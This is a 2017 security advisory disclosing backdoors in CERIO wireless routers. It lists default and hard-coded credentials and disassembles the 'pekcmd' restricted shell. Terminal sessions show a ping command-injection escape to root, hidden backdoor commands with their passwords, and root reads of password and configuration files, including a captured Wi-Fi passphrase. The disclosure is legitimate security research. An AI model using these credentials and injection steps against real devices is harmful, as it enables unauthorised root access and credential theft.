530 lines
No EOL
18 KiB
Text
530 lines
No EOL
18 KiB
Text
CERIO 11nbg 2.4Ghz High Power Wireless Router (pekcmd) Rootshell Backdoors
|
||
|
||
|
||
Vendor: CERIO Corporation
|
||
Product web page: http://www.cerio.com.tw
|
||
Affected version: DT-100G-N (fw: Cen-WR-G2H5 v1.0.6)
|
||
DT-300N (fw: Cen-CPE-N2H10A v1.0.14)
|
||
DT-300N (fw: Cen-CPE-N2H10A v1.1.6)
|
||
CW-300N (fw: Cen-CPE-N2H10A v1.0.22)
|
||
Kozumi? (fw: Cen-CPE-N5H5R v1.1.1)
|
||
|
||
|
||
Summary: CERIO's DT-300N A4 eXtreme Power 11n 2.4Ghz 2x2
|
||
High Power Wireless Access Point with built-in 10dBi
|
||
patch antennas and also supports broadband wireless
|
||
routing. DT-300N A4's wireless High Power design
|
||
enhances the range and stability of the device's
|
||
wireless signal in office and home environments.
|
||
Another key hardware function of DT-300N A4 is its PoE
|
||
Bridging feature, which allows subsequent devices to
|
||
be powered through DT-300N A4's LAN port. This
|
||
reduces device cabling and allows for more convenient
|
||
deployment. DT-300N A4 utilizes a 533Mhz high power CPU base
|
||
with 11n 2x2 transmission rates of 300Mbps. This
|
||
powerful device can produce high level performance
|
||
across multiple rooms or large spaces such as offices,
|
||
schools, businesses and residential areas. DT-300N A4
|
||
is suitable for both indoor and outdoor deployment,
|
||
and utilizes an IPX6 weatherproof housing.
|
||
The DT-300N A4 hardware equipped with to bundles
|
||
Cerio CenOS 5.0 Software Core. CenOS 5.0 devices can
|
||
use integrated management functions of Control
|
||
Access Point (CAP Mode) to manage an AP network.
|
||
|
||
Desc: Cerio Wireless Access Point and Router suffers from
|
||
several vulnerabilities including: hard-coded and default
|
||
credentials, information disclosure, command injection and
|
||
hidden backdoors that allows escaping the restricted shell
|
||
into a root shell via the 'pekcmd' binary. Given that all
|
||
the processes run as root, an attacker can easily drop into
|
||
the root shell with supplying hard-coded strings stored in
|
||
.rodata segment assigned as static constant variables. The
|
||
pekcmd shell has several hidden functionalities for enabling
|
||
an advanced menu and modifying MAC settings as well as easily
|
||
escapable regex function for shell characters.
|
||
|
||
Tested on: Cenwell Linux 802.11bgn MIMO Wireless AP(AR9341)
|
||
RALINK(R) Cen-CPE-N5H2 (Access Point)
|
||
CenOS 5.0/4.0/3.0
|
||
Hydra/0.1.8
|
||
|
||
|
||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||
@zeroscience
|
||
|
||
|
||
Advisory ID: ZSL-2017-5409
|
||
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5409.php
|
||
|
||
|
||
16.05.2017
|
||
|
||
---
|
||
|
||
|
||
Large number of devices uses the cenwell firmware (mips arch)
|
||
which comes with few surprises.
|
||
|
||
Default credentials (web interface):
|
||
------------------------------------
|
||
operator:1234
|
||
admin:admin
|
||
root:default
|
||
|
||
|
||
Default credentials (linux shell, ssh or telnet):
|
||
-------------------------------------------------
|
||
root:default
|
||
ate:default
|
||
|
||
|
||
Contents of /etc/passwd (DES):
|
||
------------------------------
|
||
root:deGewFOVmIs8E:0:0:root:/:/bin/pekcmd <---
|
||
|
||
|
||
The /bin/pekcmd binary is a restricted shell environment with
|
||
limited and customized set of commands that you can use for
|
||
administering the device once you've logged-in with the root:default
|
||
credentials.
|
||
|
||
➜ ~ telnet 10.0.0.17
|
||
Trying 10.0.0.17...
|
||
Connected to 10.0.0.17.
|
||
Escape character is '^]'.
|
||
Login: root
|
||
Password: *******
|
||
command>
|
||
command> help
|
||
|
||
Avaliable commands:
|
||
info Show system informations
|
||
ping Ping!
|
||
clear clear screen
|
||
default Set default and reboot
|
||
passwd Change root password
|
||
reboot Reboot
|
||
ifconfig IP Configuration
|
||
iwconfig Configure a WLAN interface
|
||
iwpriv Configure private parameters of a WLAN interface
|
||
exit Exit
|
||
help show this help
|
||
|
||
command> id
|
||
id: no such command
|
||
command>
|
||
|
||
|
||
Analyzing the pekcmd binary revealed the hidden backdoors and the
|
||
hidden advanced menu. Here is the invalid characters check function:
|
||
|
||
-------------------------------------------------------------------------
|
||
|
||
.text:00401F60 check_shellchars:
|
||
.text:00401F60 li $gp, 0x1FB00
|
||
.text:00401F68 addu $gp, $t9
|
||
.text:00401F6C addiu $sp, -0x38
|
||
.text:00401F70 sw $ra, 0x38+var_4($sp)
|
||
.text:00401F74 sw $s2, 0x38+var_8($sp)
|
||
.text:00401F78 sw $s1, 0x38+var_C($sp)
|
||
.text:00401F7C sw $s0, 0x38+var_10($sp)
|
||
.text:00401F80 sw $gp, 0x38+var_28($sp)
|
||
.text:00401F84 la $a1, 0x410000
|
||
.text:00401F88 la $t9, memcpy
|
||
.text:00401F8C addiu $s0, $sp, 0x38+var_20
|
||
.text:00401F90 move $s2, $a0
|
||
.text:00401F94 addiu $a1, (asc_409800 - 0x410000) # ";><|$~*{}()"
|
||
.text:00401F98 move $a0, $s0 # dest
|
||
.text:00401F9C jalr $t9 ; memcpy
|
||
.text:00401FA0 li $a2, 0xB # n
|
||
.text:00401FA4 lw $gp, 0x38+var_28($sp)
|
||
.text:00401FA8 b loc_401FE4
|
||
.text:00401FAC addiu $s1, $sp, 0x38+var_15
|
||
|
||
.text:00401FB0 lb $a1, 0($s0) # c
|
||
.text:00401FB4 jalr $t9 ; strchr
|
||
.text:00401FB8 addiu $s0, 1
|
||
.text:00401FBC lw $gp, 0x38+var_28($sp)
|
||
.text:00401FC0 beqz $v0, loc_401FE4
|
||
.text:00401FC4 move $a1, $v0
|
||
.text:00401FC8 la $a0, 0x410000
|
||
.text:00401FCC la $t9, printf
|
||
.text:00401FD0 nop
|
||
.text:00401FD4 jalr $t9 ; printf
|
||
.text:00401FD8 addiu $a0, (aIllegalArgumen - 0x410000) # "illegal argument: %s\n"
|
||
.text:00401FDC b loc_402000
|
||
.text:00401FE0 nop
|
||
|
||
.text:00401FE4 la $t9, strchr
|
||
.text:00401FE8 bne $s0, $s1, loc_401FB0
|
||
.text:00401FEC move $a0, $s2 # command
|
||
.text:00401FF0 la $t9, system
|
||
.text:00401FF4 nop
|
||
.text:00401FF8 jalr $t9 ; system
|
||
.text:00401FFC nop
|
||
|
||
.text:00402000 lw $ra, 0x38+var_4($sp)
|
||
.text:00402004 lw $gp, 0x38+var_28($sp)
|
||
.text:00402008 move $v0, $zero
|
||
.text:0040200C lw $s2, 0x38+var_8($sp)
|
||
.text:00402010 lw $s1, 0x38+var_C($sp)
|
||
.text:00402014 lw $s0, 0x38+var_10($sp)
|
||
.text:00402018 jr $ra
|
||
.text:0040201C addiu $sp, 0x38
|
||
.text:0040201C # End of function check_shellchars
|
||
|
||
-------------------------------------------------------------------------
|
||
|
||
command> ping 127.0.0.1 -c 1 | id
|
||
illegal argument: | id
|
||
command>
|
||
|
||
|
||
Escaping the restricted shell using Ping command injection:
|
||
|
||
|
||
command> ping 127.0.0.1 -c1 && id
|
||
PING 127.0.0.1 (127.0.0.1): 56 data bytes
|
||
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms
|
||
|
||
--- 127.0.0.1 ping statistics ---
|
||
1 packets transmitted, 1 packets received, 0% packet loss
|
||
round-trip min/avg/max = 0.3/0.3/0.3 ms
|
||
uid=0(root) gid=0(root)
|
||
|
||
|
||
We can easily drop into a sh:
|
||
|
||
command> ping 127.0.0.1 -c1 && sh
|
||
PING 127.0.0.1 (127.0.0.1): 56 data bytes
|
||
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms
|
||
|
||
--- 127.0.0.1 ping statistics ---
|
||
1 packets transmitted, 1 packets received, 0% packet loss
|
||
round-trip min/avg/max = 0.3/0.3/0.3 ms
|
||
|
||
|
||
BusyBox v1.11.2 (2014-07-29 12:05:26 CST) built-in shell (ash)
|
||
Enter 'help' for a list of built-in commands.
|
||
|
||
~ # id
|
||
uid=0(root) gid=0(root)
|
||
~ # ls
|
||
bin dev etc_ro lib mount pekcmd reset sys tmpetc tmpvar var
|
||
cfg etc home mnt pek proc sbin tmp tmphome usr
|
||
~ # cat /etc/passwd
|
||
root:deGewFOVmIs8E:0:0:root:/:/bin/pekcmd
|
||
~ # uname -a
|
||
Linux (none) 2.6.31--LSDK-9.2.0_U9.915 #9 Mon Aug 11 09:48:52 CST 2014 mips unknown
|
||
~ # cd etc
|
||
/etc # cat hostapd0.conf
|
||
interface=ath0
|
||
ssid={{SSID_OMITTED}}
|
||
macaddr_acl=0
|
||
logger_syslog=-1
|
||
logger_syslog_level=2
|
||
logger_stdout=-1
|
||
logger_stdout_level=2
|
||
dump_file=/tmp/hostapd0.dump
|
||
ctrl_interface=/var/run/hostapd
|
||
ctrl_interface_group=0
|
||
rts_threshold=2346
|
||
fragm_threshold=2346
|
||
max_num_sta=32
|
||
wpa_group_rekey=600
|
||
wpa_gmk_rekey=86400
|
||
wpa_pairwise=TKIP
|
||
wpa=2
|
||
wpa_passphrase=0919067031
|
||
/etc # cat version
|
||
Atheros/ Version 1.0.1 with AR7xxx -- 三 2月 5 17:30:42 CST 2014
|
||
/etc # cd /home/httpd/cgi-bin
|
||
/home/httpd/cgi-bin # cat .htpasswd
|
||
root:deGewFOVmIs8E
|
||
/home/httpd/cgi/bin # cd /cfg
|
||
/cfg # ls -al
|
||
drwxr-xr-x 2 root root 0 Jan 1 00:00 .
|
||
drwxr-xr-x 23 1000 1000 305 Feb 5 2014 ..
|
||
-rw-r--r-- 1 root root 7130 Jan 1 00:00 config
|
||
-rwxrwxrwx 1 root root 427 Jan 1 00:00 rsa_host_key
|
||
-rwxrwxrwx 1 root root 225 Jan 1 00:00 rsa_host_key.pub
|
||
-rw-r--r-- 1 root root 22 Jan 1 00:00 telnet.conf
|
||
/cfg # cat telnet.conf
|
||
Root_password=default
|
||
/cfg # cat config |grep pass
|
||
Root_password "default"
|
||
Admin_password "admin"
|
||
/cfg # exit
|
||
command>
|
||
|
||
|
||
|
||
|
||
The hidden 'art' command backdoor enabling root shell, calling system sh
|
||
using password: 111222333:
|
||
|
||
-------------------------------------------------------------------------
|
||
|
||
la $a0, 0x410000
|
||
la $t9, strcmp
|
||
addiu $a1, $sp, 0xB8+var_A0 # s2
|
||
jalr $t9 ; strcmp
|
||
addiu $a0, (a111222333 - 0x410000) # "111222333"
|
||
lw $gp, 0xB8+var_A8($sp)
|
||
sltu $s0, $zero, $v0
|
||
|
||
|
||
.text:004035D8 loc_4035D8:
|
||
.text:004035D8 la $a1, 0x410000
|
||
.text:004035DC la $t9, strcpy
|
||
.text:004035E0 addiu $s0, $sp, 0xB8+var_8C
|
||
.text:004035E4 addiu $a1, (aArt - 0x410000) # "ART"
|
||
.text:004035E8 move $a0, $s0 # dest
|
||
.text:004035EC sw $zero, 0xB8+var_8C($sp)
|
||
.text:004035F0 sw $zero, 4($s0)
|
||
.text:004035F4 sw $zero, 8($s0)
|
||
.text:004035F8 sw $zero, 0xC($s0)
|
||
.text:004035FC jalr $t9 ; strcpy
|
||
.text:00403600 sw $zero, 0x10($s0)
|
||
.text:00403604 lw $gp, 0xB8+var_A8($sp)
|
||
.text:00403608 nop
|
||
.text:0040360C la $t9, strlen
|
||
.text:00403610 nop
|
||
.text:00403614 jalr $t9 ; strlen
|
||
.text:00403618 move $a0, $s0 # s
|
||
.text:0040361C lw $gp, 0xB8+var_A8($sp)
|
||
.text:00403620 move $a3, $zero # flags
|
||
.text:00403624 addiu $a2, $v0, 1 # n
|
||
.text:00403628 la $t9, send
|
||
.text:0040362C move $a0, $s1 # fd
|
||
.text:00403630 jalr $t9 ; send
|
||
.text:00403634 move $a1, $s0 # buf
|
||
.text:00403638 lw $gp, 0xB8+var_A8($sp)
|
||
.text:0040363C move $a1, $s0 # buf
|
||
.text:00403640 li $a2, 0x14 # nbytes
|
||
.text:00403644 la $t9, read
|
||
.text:00403648 nop
|
||
.text:0040364C jalr $t9 ; read
|
||
.text:00403650 move $a0, $s1 # fd
|
||
.text:00403654 lw $gp, 0xB8+var_A8($sp)
|
||
.text:00403658 nop
|
||
.text:0040365C la $t9, close
|
||
.text:00403660 nop
|
||
.text:00403664 jalr $t9 ; close
|
||
.text:00403668 move $a0, $s1 # fd
|
||
.text:0040366C lw $gp, 0xB8+var_A8($sp)
|
||
.text:00403670 nop
|
||
.text:00403674 la $a0, 0x410000
|
||
.text:00403678 la $t9, puts
|
||
.text:0040367C nop
|
||
.text:00403680 jalr $t9 ; puts
|
||
.text:00403684 addiu $a0, (aEnterArtMode - 0x410000) # "\n\n===>Enter ART Mode"
|
||
.text:00403688 lw $gp, 0xB8+var_A8($sp)
|
||
.text:0040368C nop
|
||
.text:00403690 la $v0, stdout
|
||
.text:00403694 la $t9, fflush
|
||
.text:00403698 lw $a0, (stdout - 0x41A000)($v0) # stream
|
||
.text:0040369C jalr $t9 ; fflush
|
||
.text:004036A0 nop
|
||
.text:004036A4 lw $gp, 0xB8+var_A8($sp)
|
||
.text:004036A8 nop
|
||
.text:004036AC la $a0, 0x410000
|
||
.text:004036B0 la $t9, system
|
||
.text:004036B4 addiu $a0, (aSh - 0x410000) # "sh"
|
||
|
||
-------------------------------------------------------------------------
|
||
|
||
command> art
|
||
Enter password
|
||
|
||
|
||
===>Enter ART Mode
|
||
|
||
|
||
BusyBox v1.11.2 (2014-07-28 12:48:51 CST) built-in shell (ash)
|
||
Enter 'help' for a list of built-in commands.
|
||
|
||
~ # id
|
||
uid=0(root) gid=0(root)
|
||
|
||
|
||
The hidden 'pekpekengeng' backdoor enabling advanced commands
|
||
and access to root shell:
|
||
|
||
-------------------------------------------------------------------------
|
||
|
||
la $v0, 0x420000
|
||
nop
|
||
lw $s0, (off_419A48 - 0x420000)($v0) # off_419A48 = "pekpekengeng"
|
||
jalr $t9 ; strlen
|
||
move $a0, $s0 # s
|
||
lw $gp, 0x38+var_28($sp)
|
||
bne $s3, $v0, loc_403350
|
||
move $a0, $s5 # s1
|
||
|
||
la $t9, strncmp
|
||
move $a1, $s0 # s2
|
||
jalr $t9 ; strncmp
|
||
move $a2, $s3 # n
|
||
lw $gp, 0x38+var_28($sp)
|
||
bnez $v0, loc_403350
|
||
li $v1, 1
|
||
|
||
loc_4033A8:
|
||
la $t9, printf
|
||
addiu $a0, $s1, (aSNoSuchCommand - 0x410000) # "%s: no such command\n"
|
||
jalr $t9 ; printf
|
||
move $a1, $s4
|
||
|
||
la $a0, 0x410000
|
||
la $t9, puts
|
||
nop
|
||
jalr $t9 ; puts
|
||
addiu $a0, (aAdvancedComman - 0x410000) # "\nAdvanced commands:"
|
||
lw $gp, 0x28+var_18($sp)
|
||
nop
|
||
la $v0, 0x420000
|
||
nop
|
||
addiu $s0, $v0, (off_4199A8 - 0x420000)
|
||
la $v0, 0x410000
|
||
b loc_4020F8
|
||
addiu $s1, $v0, (a16sS - 0x410000) # " %-16s%s\n"
|
||
|
||
-------------------------------------------------------------------------
|
||
|
||
command> help
|
||
|
||
Avaliable commands:
|
||
info Show system informations
|
||
ping Ping!
|
||
clear clear screen
|
||
default Set default and reboot
|
||
passwd Change root password
|
||
reboot Reboot
|
||
ifconfig IP Configuration
|
||
iwconfig Configure a WLAN interface
|
||
iwpriv Configure private parameters of a WLAN interface
|
||
exit Exit
|
||
help show this help
|
||
|
||
command> sh
|
||
sh: no such command
|
||
command> pekpekengeng
|
||
pekpekengeng: no such command
|
||
command> help
|
||
|
||
Avaliable commands:
|
||
info Show system informations
|
||
ping Ping!
|
||
clear clear screen
|
||
default Set default and reboot
|
||
passwd Change root password
|
||
reboot Reboot
|
||
ifconfig IP Configuration
|
||
iwconfig Configure a WLAN interface
|
||
iwpriv Configure private parameters of a WLAN interface
|
||
exit Exit
|
||
help show this help
|
||
|
||
Advanced commands:
|
||
ifconfig IP Configuration
|
||
sh root shell
|
||
quit Quit
|
||
|
||
command> sh
|
||
|
||
|
||
BusyBox v1.11.2 (2013-02-22 10:51:58 CST) built-in shell (ash)
|
||
Enter 'help' for a list of built-in commands.
|
||
|
||
~ # id
|
||
uid=0(root) gid=0(root)
|
||
~ #
|
||
|
||
|
||
|
||
Other hidden functionalities:
|
||
|
||
|
||
command> unistorm
|
||
Usage:
|
||
unistorm device mac count [interval] [len]
|
||
command>
|
||
command> unistorm 1 2 3
|
||
target: 02:7f875b7c:2ab4a770:4007c4:2aac5010:00
|
||
ioctl SIOCGIFINDEX: No such devicecommand>
|
||
|
||
|
||
Serial connection password: 123456789
|
||
|
||
|
||
Hidden 'ate' mode:
|
||
|
||
.text:00401BB0
|
||
.text:00401BB0 loc_401BB0: # CODE XREF: main+284j
|
||
.text:00401BB0 la $t9, lineedit_read_key
|
||
.text:00401BB4 nop
|
||
.text:00401BB8 jalr $t9 ; lineedit_read_key
|
||
.text:00401BBC move $a0, $s0
|
||
.text:00401BC0 lw $gp, 0xC8+var_B8($sp)
|
||
.text:00401BC4 nop
|
||
.text:00401BC8 la $t9, lineedit_handle_byte
|
||
.text:00401BCC nop
|
||
.text:00401BD0 jalr $t9 ; lineedit_handle_byte
|
||
.text:00401BD4 move $a0, $v0
|
||
.text:00401BD8 lw $gp, 0xC8+var_B8($sp)
|
||
.text:00401BDC
|
||
.text:00401BDC loc_401BDC: # CODE XREF: main+244j
|
||
.text:00401BDC lw $v1, -0x634C($s1)
|
||
.text:00401BE0 nop
|
||
.text:00401BE4 slti $v0, $v1, 3
|
||
.text:00401BE8 bnez $v0, loc_401BB0
|
||
.text:00401BEC li $v0, 3
|
||
.text:00401BF0 beq $v1, $v0, loc_401D48
|
||
.text:00401BF4 nop
|
||
.text:00401BF8 la $v0, 0x420000
|
||
.text:00401BFC nop
|
||
.text:00401C00 lw $v1, (dword_419CB8 - 0x420000)($v0)
|
||
.text:00401C04 li $v0, 1
|
||
.text:00401C08 bne $v1, $v0, loc_401C98
|
||
.text:00401C0C move $a1, $zero
|
||
.text:00401C10 la $a0, 0x410000
|
||
.text:00401C14 la $t9, puts
|
||
.text:00401C18 nop
|
||
.text:00401C1C jalr $t9 ; puts
|
||
.text:00401C20 addiu $a0, (aAteMode - 0x410000) # "ate mode"
|
||
.text:00401C24 lw $gp, 0xC8+var_B8($sp)
|
||
.text:00401C28 nop
|
||
.text:00401C2C la $v0, stdout
|
||
.text:00401C30 la $t9, fflush
|
||
.text:00401C34 lw $a0, (stdout - 0x41A000)($v0) # stream
|
||
.text:00401C38 jalr $t9 ; fflush
|
||
.text:00401C3C nop
|
||
.text:00401C40 lw $gp, 0xC8+var_B8($sp)
|
||
.text:00401C44 nop
|
||
.text:00401C48 la $t9, lineedit_back_term
|
||
.text:00401C4C nop
|
||
.text:00401C50 jalr $t9 ; lineedit_back_term
|
||
.text:00401C54 nop
|
||
.text:00401C58 lw $gp, 0xC8+var_B8($sp)
|
||
.text:00401C5C nop
|
||
.text:00401C60 la $a0, 0x410000
|
||
.text:00401C64 la $t9, system
|
||
.text:00401C68 nop
|
||
.text:00401C6C jalr $t9 ; system
|
||
.text:00401C70 addiu $a0, (aSh - 0x410000) # "sh"
|
||
.text:00401C74 lw $gp, 0xC8+var_B8($sp)
|
||
.text:00401C78 nop
|
||
.text:00401C7C la $t9, lineedit_set_term
|
||
.text:00401C80 nop
|
||
.text:00401C84 jalr $t9 ; lineedit_set_term
|
||
.text:00401C88 nop
|
||
.text:00401C8C lw $gp, 0xC8+var_B8($sp)
|
||
.text:00401C90 b loc_401D48
|
||
.text:00401C94 nop
|
||
|
||
|
||
Web server configuration information disclosure:
|
||
|
||
http://TARGET/hydra.conf |